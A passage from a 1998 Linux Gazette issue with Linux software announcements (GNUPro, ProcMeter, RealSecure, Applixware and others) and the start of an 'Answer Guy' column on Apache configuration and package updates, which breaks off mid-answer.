<P>
QtEZ, a GUI builder for the Qt library: <A
HREF="http://qtez.zax.net/qtez/">http://qtez.zax.net/qtez/</A>
<P>
Blackmail 0.29: <A
HREF="http://www.jsm-net.demon.co.uk/blackmail/source/blackmail-0.29.tar.gz">
http://www.jsm-net.demon.co.uk/blackmail/source/blackmail-0.29.tar.gz</A>
<P>
SGMLtools homepage: <A
HREF="http://www.sgmltools.org/">http://www.sgmltools.org/</A>
<P>
Distribution Answers: <A HREF="http://www.angband.org/~joseph/linux/">
http://www.angband.org/~joseph/linux/</A>
Mini-howto on setting up Samba on Red Hat Linux:
<A
HREF="http://www.sfu.ca/~yzhang/linux/">http://www.sfu.ca/~yzhang/linux/</A>
<P>
PostgreSQL Database HOWTO:
<A HREF="http://sunsite.unc.edu/LDP/HOWTO/PostgreSQL-HOWTO.html">
http://sunsite.unc.edu/LDP/HOWTO/PostgreSQL-HOWTO.html</A>
<P>
DragonLinux: IronWing:
<A HREF="http://members.tripod.com/~dragonlinux/">
http://members.tripod.com/~dragonlinux/</A>
<a name="software"></a>
<P> <hr> <P>
<!-- =================================================================== -->
<center><H3><font color="green">Software Announcements</font></H3></center>
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Cygnus Solutions Announces Low Cost Verions of GNUPRO Toolkit for Linux
</H3>
<P>
Cygnus(R) Solutions announced the availability of GNUPro(TM) Toolkit, a new
product line of fully tested, low-cost development tools releases for native
and embedded software developers. Addressing the needs of the growing Linux
community, the first release of Cygnus GNUPro Toolkit is targeted at
software engineers developing commercial applications on the Linux
operating system (OS). Today's announcement marks the first in a
series of GNUPro Toolkit releases planned for a range of platforms.
"Cygnus has extended its commitment to the Linux community and users of
Red Hat Linux by providing a fully-certified official release of GNU
development tools," said Bob Young, president and CEO of Red Hat
Software. "Given the increasing popularity of both Red Hat Linux and
Cygnus GNUPro, Red Hat is pleased to continue its partnership with
Cygnus to provide software developers the highest quality Linux
operating system and development tools."
<p>
<B>Key Features and Benefits </B>
<p>
<ul>
<li>Cygnus GNUPro C Compiler - The latest advances in compiler
optimization extend the programmer's ability to optimize code for speed
and size, resulting in faster execution.
<li>Cygnus GNUPro C++ Compiler - The industry-leading C++ compiler
provides enhanced exception handling and more extensive template
functionality. Cygnus offers the most comprehensive support for C++ and
continues to track the standard, leading to greater C++ coding
flexibility.
<li>Cygnus GNUPro Visual Debugger - A source- and assembly-level debugger,
it includes Cygnus' high-performance graphical user interface that
enables users to quickly visualize, locate, and debug code.
<li>Highly Tested Tool - Includes 47,000 unit tests (30,000 for the
standard compiler test suite, 10,000 for the native debugger test suite,
and 7,000 for C++ features); regression testing (both reported bugs and
those uncovered by Cygnus); conformance testing (tests from Perennial
and Plum Hall); and tests for building popular applications.
</ul>
<p>
<B>Pricing and Availability</B>
<p>
Cygnus GNUPro Toolkit for Linux is priced at $149 and is immediately
available for Red Hat Linux 4.2 and 5.1 on x86 platforms by ordering
online at <a
href="http://www.cygnus.com/gnupro/">http://www.cygnus.com/gnupro/</a>.
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Panorama
</H3>
<P>
Panorama is part of the GNU project. For more information about it,
visit the URL 'http://www.gnu.org'. It is released under the GPL
license, that you can read in the file 'LICENSE' in this directory.
<p>
Panorama is a framework for 3D graphics production. This will include
modeling, rendering, animating, post-processing, etc. Currently, there
is no support for animation, but this will be added soon.
<p>
Functionally, it is structured as an API, composed by two dynamic
libraries, and several plugins, that you can optionally load in runtime.
A simple console mode front-end for this API is included in the package,
that can load a scene description in one of the supported scene
languages, and then outputs a single image file in any of the supported
graphic formats.
<p>
Panorama can be easily extended with plugins. Plugins are simply
dynamically linked C++ classes. You can add plugins without
recompilation, and even in runtime, when this option is added to the
graphic interface.
<p>
You can find more information about Panorama, or download latest
distribution at: <a
href="http://www.gnu.org/software/panorama/panorama.html">http://www.gnu.org/software/panorama/panorama.html</a>
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Netscape Wrapper v2.0.0
</H3>
<P>
What is it:<br>
The Netscape Wrapper is a bourne shell script used to invoke Netscape
on a Unix platform. It performs copying initial default files, a postscript
bug work around, security check, and setting up the environment. The new version
also provides enhanced functionality.
<p>
What is new in this version:<br>
<ul>
<li>Rewritten. Faster and cleaner execution.
<li>Fully sh. No longer relies on bash features.
<li>Root security check bypass.
<li>New options subset. (+news, +mail, ...)
<li>Defaults to opening a new window.
</ul>
<p>
The most significant change is that the script will attempt to
open a new browser before executing Netscape. IE if no Netscape process
is present, Netscape will be executed, otherwise a new browser window is
created. Likewise when using the new option subset, if Netscape is not
running, it will be execute with that option as the default window, or if
Netscape is running, that option will be opened using the current process.
<p><a
href="ftp://ftp.psychosis.com/linux/netscape-wrapper_2.0.0">ftp://ftp.psychosis.com/linux/netscape-wrapper_2.0.0</a>
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
plotutils
</H3>
<P>
Version 2.1.6 of the GNU plotting utilities (<B>plotutils</B>) package is now
available. This release includes a significantly enhanced version of the
free C/C++ GNU libplot library for vector graphics, as well as seven
command-line utilities oriented toward data plotting (graph, plot,
tek2plot, plotfont, spline, ode, and double). A 130-page manual in texinfo
format is included.
<p>
As of this release, GNU libplot can produce graphics files in Adobe
Illustrator format. So you may now write C or C++ programs to draw vector
graphics that Illustrator can edit. Also, the support for the free `idraw'
and `xfig' drawing editors has been enhanced. For example, the file format
used by xfig 3.2 is now supported.
<p>
RPM's for the plotutils package are available at <a
href="ftp://ftp.redhat.com">ftp://ftp.redhat.com</a>
<p>
For more details on the package, see its official
<a href="http://www.gnu.org/software/plotutils/plotutils.html">Web page</a>.
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
PROCMETER V3.0
</H3>
<P>
<p>
This is a new version of ProcMeter that has been re-written almost completely
since the previous version.
<p>
It is now designed to be more user-friendly and customisable, the textual as
well as graphical outputs and the extra mouse options avilable are part of this.
It is perhaps now less of a system status monitor and more of a user information
display. It can be configured to show the date and/or time instead of having a
clock and it can also monitor your e-mail inbox and act like biff.
<p>
The ProcMeter program itself is a framework on which a number of modules
(plugins) are loaded. More modules can be written as required to perform more
monitoring and informational functions.
Available at <a
href="ftp://ftp.demon.co.uk/pub/unix/linux/X11/xutils/procmeter3-3.0.tgz">ftp://ftp.demon.co.uk/pub/unix/linux/X11/xutils/procmeter3-3.0.tgz</a>
<p>
Take a look at the <a
href="http://www.gedanken.demon.co.uk/procmeter3/">ProcMeter web page</a>
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
ypserv 1.3.6
</H3>
<P>
Version 1.3.6 of an YP (NIS version 2) Server for Linux is released.
It also runs under SunOS 4.1.x, Solaris 2.4 - 2.6, AIX, HP-UX, IRIX,
Ultrix and OSF1 (alpha).
<p>
The programs are needed to turn your workstation in a NIS server.
It contains ypserv, ypxfr, rpc.ypxfrd, rpc.yppasswdd, yppush, ypinit,
revnetgroup, makedbm and /var/yp/Makefile.
<p>
ypserv 1.3.6 is available under the GNU General Public License.
<p>
You can get the latest version from: <a
href="http://www-vt.uni-paderborn.de/~kukuk/linux/nis.html">http://www-vt.uni-paderborn.de/~kukuk/linux/nis.html</a>
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
MAM/VRS
</H3>
<P>
MAM/VRS is a library for animated, interactive 3D graphics, written in
C++. It works on Unix (tested on Linux, Solaris and Irix) and Windows
95/98/NT. MAM/VRS can produce output for many rendering systems: OpenGL
(or Mesa), POVRay, RenderMan and VRML are supported yet. It provides
bindings to many GUIs: Xt (Motif/Lesstif/Athena), Qt, Tcl/Tk, MFC and
soon GTk. It is covered by the terms of the GNU LGPL. Visit our homepage
for more information and to download it:
<a
href="http://wwwmath.uni-muenster.de/~mam">http://wwwmath.uni-muenster.de/~mam</a>
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
KIM - interactive process manager 1.1-1
</H3>
<P>
Description:<br>
The Kim is interactive (ncurses) user friendly process manager
for OS Linux. It reads the /proc(5) directory. The '/proc' is
a pseudo-filesystem which is used as an interface to kernel
data structures.
<p>
Features:<br>
<ul>
<li>process list
<li>process tree
<li>select more process
<li>send all existing signals (to one or more process)
<li>reload
<li>process sort
<li>display /proc/#/maps
<li>display 45 information about all process
<li>and more...
</ul>
<p>
Download:<br>
<p>
* source, rpm, deb
<p>
URL: <a
href="http://home.zf.jcu.cz/~zakkr/kim/">http://home/zf.jcu/cz/~zakkr/kim/</a>
<p>
Version & Dependency:<br>
The Kim is independent on other program, but all version depend
on libproc >= 1.2.6 and ncurses.
<p>
Lincense:<br>
Copyright (c) 1998 Zak Karel "Zakkr"
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
PIKT
</H3>
<P>
PIKT is a set of programs, scripts, data and configuration files for
administering networked workstations. PIKT's primary purpose is to
monitor systems, report problems (usually by way of e-mail "alerts"),
and fix those problems when possible. PIKT is not an end-user tool; it
is (for now) to be used by systems administrators only.
<p>
PIKT includes an embedded scripting language, approaching in sophistication
several of the other scripting languages, and introducing some new features
perhaps never seen before.
<p>
PIKT also employs a sophisticated, centrally managed, per-machine/OS
version control mechanism. You can, setting aside the PIKT language,
even use it to version control your Perl, AWK, and shell scripts. Or,
use it as a replacement for cron.
<p>
PIKT is freeware, distributed under the GNU copyleft.
<p>
Check out the <a href="http://pikt.uchicago.edu/pikt">Web Page</a> for more
info!
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Yard 4.04.03
</H3>
<P>
YARD-SQL version 4.04.03 has been released. Until now, it is available
for Linux and SCO-UNIX and contains the following new features:
<p>
<ul>
<li>YARD-ESQLC now contains libsql and sqlnets as shared libraries.
The product YARD-ESQLC now contains libsql.a and sqlnets.a as shared
objects too. The names are libsql.so and sqlnets.so
<li>The base address of dynamic SHM is choosen based on existing segments.
Until know the base address of dynamic SHM segments was determined by the
kernel (Parameter 0 in shmat()). Know this address is calculated from the
existing SHM segments, so that the complete SHM will have no gaps.
This behaviour can be switched off by setting the environment variable
YARD_NOCONSECSHM.
<li>The socket flag TCP_NODELAY is set for socket connections.
On some OS (eg. FreeBSD), setting TCP_NODELAY on the socket connection
between client and server dramatically improves performance. There should
be no negative effect by setting this flag. So it will now always be set.
It can be disabled by setting the environment variable YARD_NOTCPNODELAY
to 1.
<li>The disk configuration of a DBS is stored in the DBS in addition to the
cfgfile
<li>yardinit offers a new option -l for reducing logfiles.
If option -l is used when a DBS is switched from offline mode to main-
tenance mode, all logical logs are released instead of performing
a logical recovery. Though this jeopardizes logical consistency it is an
easy way for starting a DBS when all logical logs are filled up.
The correct way for starting such a DBS is to start yardinit -m on one
terminal and then start yardarch -l on another terminal for backing up
the logical logs while yardinit is waiting.
<li>Clients can use strings for inserting data into BLOBs
Until now, a BLOB structure (eg. in ESQLC) or an object type (in Java) had
to be used for inserting data into a BLOB/TEXT column. Now, Clients can
use simple strings for that purpose. When the server runs in batch mode, a
string will still be used as file name.
<li>and more....
</ul>
<p>
Check out <a href="http://www.yard.de">http://www.yard.de</a> for more
information about YARD
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
RealSecure 3.0
</H3>
<p>
ISS today announced RealSecure 3.0, a new, integrated system that
combines intrusion detection with state-of-the-art response and
management capabilities to form the industry's first threat management
solution. Formerly known as "Project Lookout", RealSecure 3.0 is the
integrates network- and system-based intrusion detection
and response capabilities into a single enterprise threat management
framework providing around-the-clock, end-to-end information protection.
<p>
Visit the <a href="http://www.iss.net">ISS web site</a>.
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Applix Released Applixware 4.4.1 for Linux, UNIX, and Windows
Platforms
</H3>
<p>
Applix, Inc. the release of Applixware 4.4.1 for the Linux platform as
well as all major UNIX operating systems, Windows NT and Windows 95.
This latest release delivers a new filtering framework that has been
optimized for document interchange between Microsoft's Office 97 product,
as well as Y2K compliance.
<p>
Applixware includes Applix Words, Spreadsheets, Graphics, Presents, and HTML
Author. This Linux version also includes Applix Data and Applix Builder as
standard modules. Applixware for Linux is available directly from Applix, as
well as from its partners, including Red Hat and S.U.S.E.
<p>
Linux version beta test users also attest to the results. "Export of Applix
Words documents to Word 97 works great, even with Swedish letters," said Klaus
Neumann, a university cognitive scientist. He continued, "I think Applixware
is the most promising office solution for Linux. I've tried StarOffice,
WordPerfect, Lyx. Nothing comes even close to Applixware--there are none of
the memory, uptime, printing, or spell-checking problems I experience with the
other suites."
<p>
Applixware 4.4.1 for Linux includes for the first time Applix Data, a new
module offering point and click access to information stored in relational
databases. No SQL knowledge is required to access the information. Once
accessed, the data can be linked directly into Applix Words, Spreadsheets,
Graphics, Presents, and HTML Author.
<p>
Visit the <a href="http://www.applix.com/">company's web site</a> for more
information.
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
iServer
</H3>
<p>
Servertec announced the release of iServer, a small, fast, scalable and easy
to administer platform independent web server written entirely in JavaTM.
<p>
iServer is a web server for serving static web pages and a
powerful application server for generating dynamic, data driving web pages
using Java Servlets, iScript, Common Gateway Interface (CGI) and Server Side
Includes (SSI).
<p>
iServer provides a robust, scalable platform for individuals, work groups
and corporations to establish a web presense.
<p>
Visit the <a href="http://www.servertec.com">Servertec Web site</a> for
more information.
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
TkApache v1.0
</H3>
<p>
TkApache v1.0 was released unto the unexpecting world Thursday, October
16th. In it's first few hours, more than a 1,000 downloads were logged!
<p>
Anyway, it's a fully GUI front-end to managing and configuring an Apache
web server and it's written in PerlTk - released under the GPL, developed
COMPLETELY under Linux, Website, graphics, code, etc.
<p>
The <a href="http://eunuchs.org/linux/TkApache/">TkApache home page</a>
could tell you a lot more...
<P> <hr> <P>
<!-- =================================================================== -->
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Crack dot Com is closing its doors
</H3>
<p>
WHY: Ran out of cash.
<p>
REALLY WHY: Lot of reasons, but then again, there are a lot of reasons
that we got as far as we did. I think the killer reason, though,
was that Golgotha was compared by publishers primarily to Battlezone
and Uprising, and those titles sold really poorly.
<p>
WHAT NOW?: Now we file articles of dissolution w/ the secretary of
state, and we file bankruptcy.
<p>
IS THAT IT?!: No.
<p>
WHAT ELSE?: We're releasing the Golgotha source code, and data to the
public domain.
<p>
WHERE'S THE SOURCE CODE?: I want to personally thank everyone who
supported & rooted for us. That was really nice of you.
<p>
BLAH BLAH, WHERE'S THE SOURCE?: I want to apologize
to the fans and business partners we've let down.
<p>
BOO HOO! WE CARE. OUT WITH IT!: Thanks for your patience. The source
& data can be found at <a
href="http://www.crack.com/golgotha_release">http://www.crack.com/golgotha_release</a>. And of course, the ex-Crack developers are up to new & interesting
things which you can follow at the web site.
<p>
Sincerely,
Dave Taylor
<P> <hr> <P>
<!--================================================================-->
<center>Published in <i>Linux Gazette</i> Issue 34, November 1998</center>
<P> <HR> <P>
<!-- =================================================================== -->
<A HREF="./lg_toc34.html"><IMG SRC="../gx/indexnew.gif" ALT="[ TABLE OF
CONTENTS ]"></A>
<A HREF="../index.html"><IMG SRC="../gx/homenew.gif" ALT="[ FRONT
PAGE ]"></A>
<A HREF="./lg_tips34.html"><IMG SRC="../gx/back2.gif" ALT=" Back "></A>
<A HREF="./lg_answer34.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P><HR><P>
<h5>This page written and maintained by the Editor of <I>Linux Gazette</I>,
<A HREF="mailto: gazette@ssc.com">gazette@ssc.com</A><BR>
Copyright © 1998 Specialized Systems Consultants, Inc. </H5>
<P>
<center>
<H1><A NAME="answer">
<img src="../../gx/dennis/qbubble.gif" alt="(?)" border="0" align="middle">
<font color="#B03060">The Answer Guy</font>
<img src="../../gx/dennis/bbubble.gif" alt="(!)" border="0" align="middle">
</A></H1>
<BR>
<H4>By James T. Dennis,
<a href="mailto:answerguy@ssc.com">answerguy@ssc.com</a><BR>
Starshine Technical Services,
<A HREF="http://www.starshine.org/">http://www.starshine.org/</A>
</H4>
</center>
<p><hr><p>
<!-- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: -->
<H3>Contents:</H3>
<p><a href="#tag_greeting"
><img src="../../gx/dennis/bbub.gif" alt="(!)" border="0"
align="middle">Greetings From Jim Dennis</A></p>
<DL>
<!-- index_text begins -->
<dt><A HREF="tag/recovery.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>dual /boot partitions
--or--
<dd><A HREF="tag/recovery.html"><STRONG>Automated Recovery from System Failures
</STRONG></A>
<dt><A HREF="tag/quota.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>e-mail quotas
--or--
<dd><A HREF="tag/quota.html"><STRONG>Quotas for Outgoing e-mail</STRONG></A>
<dt><A HREF="tag/largedisk.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>Booting and partitions
--or--
<dd><A HREF="tag/largedisk.html"><STRONG>Suggestions for Linux Users
with Ultra Large Disks</STRONG></A>
<dt><A HREF="tag/intlX.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>French loadkeys
--or--
<dd><A HREF="tag/intlX.html"><STRONG>More on International Keyboard
Mappings and Monochrome X</STRONG></A>
<dt><A HREF="tag/digi.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>Digi C/X Host W/ C/Con 16
--or--
<dd><A HREF="tag/digi.html"><STRONG>Linux Support for the
DigiBoard C/X Intelligent Serial Ports</STRONG></A>
<dt><A HREF="tag/w95ie.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>Shell File!!!!!
--or--
<dd><A HREF="tag/w95ie.html"><STRONG>All that Vaunted Support for those
Windows Users</STRONG></A>
<dt><A HREF="tag/apache.html"><img src="../../gx/dennis/qbub.gif"
height="28" width="50" alt="(?)" border="0"
></A>apache server
--or--
<dd><A HREF="tag/apache.html"><STRONG>Executing "Normal HTML" Files
with Apache</STRONG></A>
<dt><A HREF="tag/current.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>Keeping my RH5.0 system up to date
--or--
<dd><A HREF="tag/current.html"><STRONG>Updates: Risks and Rewards
</STRONG></A>
<dt><A HREF="tag/ether.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>Ether Troubles
--or--
<dd><A HREF="tag/ether.html"><STRONG>NE2000 "clones" --- not "cloney" enough!
</STRONG></A>
<dt><A HREF="tag/goodtimes.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>"Good Times"-email is it a virus?
--or--
<dd><A HREF="tag/goodtimes.html"><STRONG>The Infection and the Cure: (Good Times as a Virus)
</STRONG></A>
<dt><A HREF="tag/maybe.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
><STRONG>Query</STRONG></A>
<dt><A HREF="tag/numlock.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>... Redhat 4.2/Motif, problem discovered.
--or--
<dd><A HREF="tag/numlock.html"><STRONG>Conflict: Num-Lock,
X Window Managers, and pppd</STRONG></A>
<dt><A HREF="tag/script.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
><STRONG>Re Script</STRONG></A>
<dt><A HREF="tag/session.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>Here's a doozy
--or--
<dd><A HREF="tag/session.html"><STRONG>Telnet/xterm: Log to file
</STRONG></A>
<dt><A HREF="tag/serial.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
><STRONG>RE how to find out the serial connect
speed of a modem</STRONG></A>
<dt><A HREF="tag/sound.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>HELP!!
--or--
<dd><A HREF="tag/sound.html"><STRONG>Finding Soundcard
Support</STRONG></A>
<dt><A HREF="tag/tape.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>Problems with backup
--or--
<dd><A HREF="tag/tape.html"><STRONG>Problems with a SCSI
Tape Drive</STRONG></A>
<dt><A HREF="tag/testsuite.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>Is there a testsuite for glibc v2.0.x?
--or--
<dd><A HREF="tag/testsuite.html"><STRONG>Test Suites for
GNU and other Open Source (TM) Software</STRONG></A>
<dt><A HREF="tag/w95ras.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>nt 4.0 ras dialin problem
--or--
<dd><A HREF="tag/w95ras.html"><STRONG>Another
Non-Linux Question</STRONG></A>
<dt><A HREF="tag/w95virus.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
><STRONG>Macro Virus?</STRONG></A>
<dt><A HREF="tag/xdm.html"><img src="../../gx/dennis/qbub.gif" height="28" width="50" alt="(?)" border="0"
></A>xdm
--or--
<dd><A HREF="tag/xdm.html"><STRONG>Remote X using xdm</STRONG></A>
<!-- index_text ends -->
</DL>
<P><HR width="40%" align="center"></P> <!-- :::::::::::::::::::::::: -->
<H3><a name="tag_greeting"
><img src="../../gx/dennis/bbubble.gif" alt="(!)" border="0"
align="middle">Greetings From Jim Dennis</A></H3>
<A NAME="tag/apache.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Executing "Normal HTML" Files with Apache</H3>
<p><strong>From ajrlly on 26 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>is there a way to configure apache so that when someone requests a
particular page (ie http://www.whatever.com/~user/index.html) that a cgi
script is automatically invoked, transparent to the requestor. The goal
is to have a diff page served depending on the ip address.
</strong></p>
<p><strong>thnx
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I think you could use the "x-bit hack" feature ---
mark the index.html page as a Unix/Linux "executable"
and use SSI (server-side include) directives to
accomplish this.
</blockquote>
<blockquote>There are also various modules for Apache to support
XSSI (extended server-side includes) ePerl and EmbPerl
(embedded perl interpreters which execute code your
documents), and other forms of dynamic output.
</blockquote>
<blockquote>For real details you should probably read the FAQ
--- try <A HREF="http://www.apache.org">http://www.apache.org</A> for access to that.
</blockquote>
<blockquote>In addition that FAQ recommends the
comp.infosystems.www.servers.unix newsgroup for general
support. There are also a couple of companies that offer
commercial support for the system.
</blockquote>
<blockquote>You can read about new developments in Apache by regularly
visiting the Apache Week web site (<A HREF="http://www.apacheweek.com">http://www.apacheweek.com</A>)
Which should probably be right next to "Linux Weekly News"
<A HREF="http://www.lwn.net">http://www.lwn.net</A>, on your lists of weekly sites to visit.
</blockquote>
<blockquote>Unfortunately they don't seem to have an "answer guy" over
at Apache Week --- so we can't forward your question off to
him.
</blockquote>
<blockquote>Personally I don't like the idea of publishing different
"apparently static" web pages based on the IP address of the
requestor. First it seems deceitful. Also IP addresses and
DNS domains (reverse or otherwise) are very poor ways of
identifying users or readership. In addition these sorts
of "dynamic" pages put extra load on the server and
add additional latency to the request. This is a
particularly bad idea for index.html pages --- which are
the most often accessed.
</blockquote>
<blockquote>I think it is best to identify what you really want
the world to see (a process of <em>writing</em>, <em>composition</em>
and <em>publication</em>) and put that into your main static
web pages. If you need timely or periodic updates
(web counters, whatever) use a cron job to periodically
re "make" to static pages from their "sources" (templates)
using the text processing tool of your choice (m4 and
the C preprocessor, cpp seem to be particularly popular
for this, although many specialized tools exist for the
task).
</blockquote>
<blockquote>Part of this also depends on what you really trying to
do. For example if you want "internal" users to see
one set of pages and "external" users to see another
--- you best bet is to configure your server with
two interfaces (or at least IP aliases) and use the
Apache "Bind" directive to bind one copy of the Apache
server to one IP address/interface and a different one
(with different configuration, document root, etc) on
the other).
</blockquote>
<blockquote>Naturally each of your virtual hosts ("soft" using HTTP 1.1
features, or "hard" requiring separate IP addresses) can
have completely different document roots and many other
configuration differences. All of that falls under the
category of "virtual hosting" and is covered pretty
extensively in the Apache documentation (which is all
avialable at the aforementioned web sites).
</blockquote>
<blockquote>If you're trying to provide information in a different
language or format based on the source of the request
you should read about "Content Negotiation" at:
</blockquote>
<dl><dt>Apache Week: 26th July 1996
<dd><A HREF="http://www.apacheweek.com/issues/96-07-26">http://www.apacheweek.com/issues/96-07-26</A>
</dl>
<blockquote>If you're attempting to do this based on "security"
or "cookies" there extensive methods for doing this
supported by Apache -- and most of them are most easily
accomplished by performing "redirection" as the
connection is established.
</blockquote>
<blockquote>For real security --- to provide web pages to your
"extranet" partners (strategic customers, vendors,
etc) and your mobile employees --- I wouldn't
suggest anything less then "client side certificates"
over SSL (secure sockets layer --- a set of encryption
protocols, proposed by Netscape and implemented by many
browsers and in several other packages. The dominant
"free" SSL code base is SSLeay --- by Eric A. Young of
Australia).
</blockquote>
<blockquote>These sorts of certificates are issued to users on
and individual basis (they can be from a recognized
third party CA --- certifying authority --- or you can
create your own "in-house" CA and accept those, exclusively
or otherwise.
</blockquote>
<blockquote>There are a large number of modules available for
Apache, some to things like block access based on the
"Referrer" value (to prevent other web sites from
using your pictures and bandwidth by "reference", for
example), or to fix UpperVSLOWER/CasING/ problems in
the requeste URL's, and a couple of different ones to
perform rewriting of request URL's --- like the
mod_rewrite module which supports full regex re-writes
and some weird conditional and variable assignment features.
</blockquote>
<blockquote>It appears that the "official" place to learn about
Apache modules seems to be the "Module Registry" at
<A STUB="http://www.zyzzyva.com">http://www.zyzzyva.com</A>
</blockquote>
<p><em>[ It moved to
<a href="http://modules.apache.org/">http://modules.apache.org/</a> which is much easier to remember too. Update your bookmarks, everybody <img src="../../gx/dennis/smily.gif" alt=":)" border="0" align="middle">
-- Heather ]</em></p>
<!-- end body -->
<A NAME="tag/current.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Updates: Risks and Rewards</H3>
<p><strong>From Frits Hoogland on 08 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Hi almighty answerguy!
</strong></p>
<p><strong>I'm a bit confused by all the updates of various system components (like
the <tt>libc</tt>, <tt>gcc</tt>, etc, etc). Is it advisable to loop at <a href="ftp://ftp.redhat.com/">ftp.redhat.com</a> for
updates of my 5.0 system? Is it advisable to download a new kernel? Can
I install let say kernel 2.0.35 (which, as I noticed, nearly everyone
uses) or are there things I have to consider, things I have to check,
etc.?
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">That's an excellent question. Using <A HREF="http://www.redhat.com/">Red Hat</A>'s package
management system (RPM) does make it faster and easier for
most "mere mortals" (myself included) to upgrade most
packages and install most new ones.
</blockquote>
<blockquote><A HREF="http://www.debian.org/">Debian</A> package management is allegedly at least as good
--- but it doesn't seem to be documented nearly as well
so it's harder to learn than RPM. (Hey, Debian dudes
if you write a DPKG/APT Guide for RPM users --- you might
win more converts!).
</blockquote>
<blockquote>Even <A HREF="http://www.slackware.org/">Slackware</A>'s <tt>pkgadd</tt> (or is that <tt>pkg_add</tt>, it's been
so long) is somewhat easier than the old "manly" way of
upgrading your software (downloading the sources,
and building them yourself).
</blockquote>
<blockquote>Indeed, even <EM>that</EM> approach (building from sources) has
improved quite a bit over the years, for most packages.
The mark of a good modern package is that you can
install it, from source with the following sequence
of commands:
</blockquote>
<pre>tar tzf /usr/local/from/foo.tar.gz
# look at contents, insure that it creates
# it's own directory tree and puts everything
# in there:
tar xzf ....
cd /usr/local/src
# extract the sources into our local source
# tree. (Might need to do a mkdir and cd into
# that if your package extracts to the "current"
# directory).
cd $package_source_top_level_dir
view README
# or 'more' or 'less' -- maybe different README's
# This should have some basica instructions
# which ideally will amount to:
./configure
# possibly with options like --prefix=/usr/local
make install
</pre>
<blockquote>... Note that the really important parts of this are
'<tt>./configure</tt>' and '<TT>make install</TT>' After that a good
source package should be ready to configure and run.
</blockquote>
<blockquote>(Note that the "configure" command in my examples is a
script generated to perform a set of local tests and
select various definitions that are to be used by the
make file. This, in turn, tells the local system how to
"make" the program's binaries, libraries, man pages and
other files in a way that's suitable for your system ---
and (with the commonly implemented "install" option or
"target" in "makefile" terms) tells the '<TT>make</TT>' command
where to put things. There is a difference between
"<tt>./configure</tt>"-ing the sources to be build and "configuring"
the resulting package).
</blockquote>
<blockquote>In any event, with RPM's you get the package (for your
plattform: x86, Alpha, SPARC, PowerPC, etc) and type:
</blockquote>
<blockquote>
<blockquote><code>rpm -i foo-$VERSION.$PLATFORM.rpm
</code></blockquote></blockquote>
<blockquote>... or whatever the file's name is. To upgrade a
source package you follow mostly the same procedure for
sources (usually saving any configuration files and/or
data from the previous versions, and maybe moving or
renaming all of the old libs and bins and other files).
It would be nice if source package maintainers make
upgrades easier by detecting their prior installed version
and suggesting a "make upgrade" command --- or something
like that).
</blockquote>
<blockquote>To upgrade a typical RPM you just type:
</blockquote>
<blockquote><blockquote><code>rpm -U foo.....rpm</code>
</blockquote></blockquote>
<blockquote>There are similar commands for Debian, but I don't know
them off the top of my head and they aren't handy to
